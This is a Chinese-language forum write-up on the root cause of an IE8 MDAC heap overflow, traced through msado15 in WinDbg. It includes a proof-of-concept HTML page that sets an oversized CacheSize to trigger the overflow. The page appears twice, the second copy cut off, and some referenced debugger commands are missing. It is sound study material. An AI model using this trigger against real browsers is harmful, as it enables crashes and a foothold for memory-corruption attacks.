该漏洞行为上是一个整数溢出漏洞,但其本质上还是属于一个堆溢出漏洞,对该漏洞的分析参考了《漏洞战争》,并且借鉴了前辈们的一些分析。
由于要想该漏洞发挥效用还需要配合其他漏洞,因此此处仅仅对该漏洞进行成因分析,而无有关exploit的分析。
该漏洞的触发场景是因为IE处理XML时用到的MDAC,由于太多分析MDAC对后续分析该漏洞没有太多帮助,因此这里就去繁就简,直接进行漏洞调试
这段POC代码源于《漏洞战争》,这里直接照搬使用
这里用的环境配置是
32位windows 7 ultimate
Windbg 6.12.0002.633 X86
IE8
首先IE开启页堆
接着打开IE,用WinDbg附加第一个IE进程(一定要第一个IE进程!)
之后设置子进程调试
ctrl+s设置符号表
设置完毕后输入g运行
接着打开poc.html,打开poc.html时windbg这边会被int 3断下,所以还要再输入一次g
接着在IE中允许阻止的内容
如果正常的话会停止在异常处
这里我们发现是在往0x0ad1e000处写入数据发生的异常,并且由于我们已经知道这个漏洞是堆溢出,所以直接!heap看看这个堆区域的详情和回溯信息
在堆使用回溯中重点查看分配堆的函数(这里仅仅追查到应用上层,因此不看ntdll.dll)
则MpHeapAlloc应该就是实际分配堆的函数
那么我们肯定要在实际堆分配处看看具体分配的大小,毕竟这是导致这个漏洞堆溢出的主要原因之一。
这里看看msado15!CRecordGroup::AllocateHRowRange+0x00000085处的汇编代码(msado15!CRecordGroup::AllocateHRowRange+0x00000085这个是刚刚堆回溯时调用MpHeapAlloc的上层函数)
发现msado15!CRecordGroup::AllocateHRowRange+0x82处为call edi
;call MpHeapAlloc
接着重新调试(关闭Windbg和IE,再次按照上面的步骤附加IE),这里注意,在设置完子进程调试,并设置符号表后还需输入
这样会使得msado15.dll加载后自动断下
接着在msado15!CRecordGroup::AllocateHRowRange+0x82下断点
但是这里设置了bu msado15!CRecordGroup::AllocateHRowRange+0x82后用bl查看发现断点不是在刚刚的call edi上
那么就直接
这次正确了
接着用windbg的反汇编窗口(view->Disassembly)找到call edi的位置并设置断点
运行后dd esp发现参数列表中没有0xd64
再次g允许后dd esp发现了0xd64(为什么要发现0xd64,因为0xd64就是刚刚!heap后发现的溢出堆的堆大小)
那么接下来看看0xd64(和异常发生时的堆大小正好相等)是怎么形成的:
由于0xd64位于第三个参数,那么根据入栈顺序找到push eax
其中eax保存的即为0xd64
那么根据反汇编代码找出的传递链向上回溯为
这样的话那么就动态调试,在
处设置断点,看看edi处存着什么
重新调试附加进程后,依旧在msado15!CRecordGroup::AllocateHRowRange设置断点后运行到mov eax,edi(这里依旧是第一次断点不是,第二次才是)
发现edi=0x40000358
这样就发现了关键,后续就不用再回溯了,因为根据poc.html中
这样就找到了直接设置漏洞触发条件的语句
而这里的触发成因就是
而寄存器只有32位,因此被保存为0x00000d64,导致了堆仅仅被创造为0xd64的大小,后续对该堆的超大赋值即造成溢出
<html xmlns:t
=
"urn:schemas-microsoft-com:time"
>
<script language
=
'javascript'
>
function Start() {
localxmlid1
=
document.getElementById(
'xmlid1'
).recordset;
localxmlid1.CacheSize
=
0x40000358
;
/
/
<
=
=
导致生成堆大小为
0xd64
,造成溢出
for
(var i
=
0
; i <
0x100000
; i
+
+
) {
localxmlid1.AddNew([
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
], [
"c"
]);
localxmlid1.MoveFirst();
}
}
<
/
script>
<body onLoad
=
"window.setTimeout(Start, 100);"
id
=
"bodyid"
>
<?xml version
=
"1.0"
encoding
=
"utf-8"
standalone
=
"yes"
?>
<XML
ID
=
"xmlid1"
>
<Devices>
<Device>
<AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
/
>
<
/
Device>
<
/
Devices>
<
/
XML>
<
/
body>
<
/
html>
<html xmlns:t
=
"urn:schemas-microsoft-com:time"
>
<script language
=
'javascript'
>
function Start() {
localxmlid1
=
document.getElementById(
'xmlid1'
).recordset;
localxmlid1.CacheSize
=
0x40000358
;
/
/
<
=
=
导致生成堆大小为
0xd64
,造成溢出
for
(var i
=
0
; i <
0x100000
; i
+
+
) {
localxmlid1.AddNew([
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
], [
"c"
]);
localxmlid1.MoveFirst();
}
}
<
/
script>
<body onLoad
=
"window.setTimeout(Start, 100);"
id
=
"bodyid"
>
<?xml version
=
"1.0"
encoding
=
"utf-8"
standalone
=
"yes"
?>
<XML
ID
=
"xmlid1"
>
<Devices>
<Device>
<AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
/
>
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)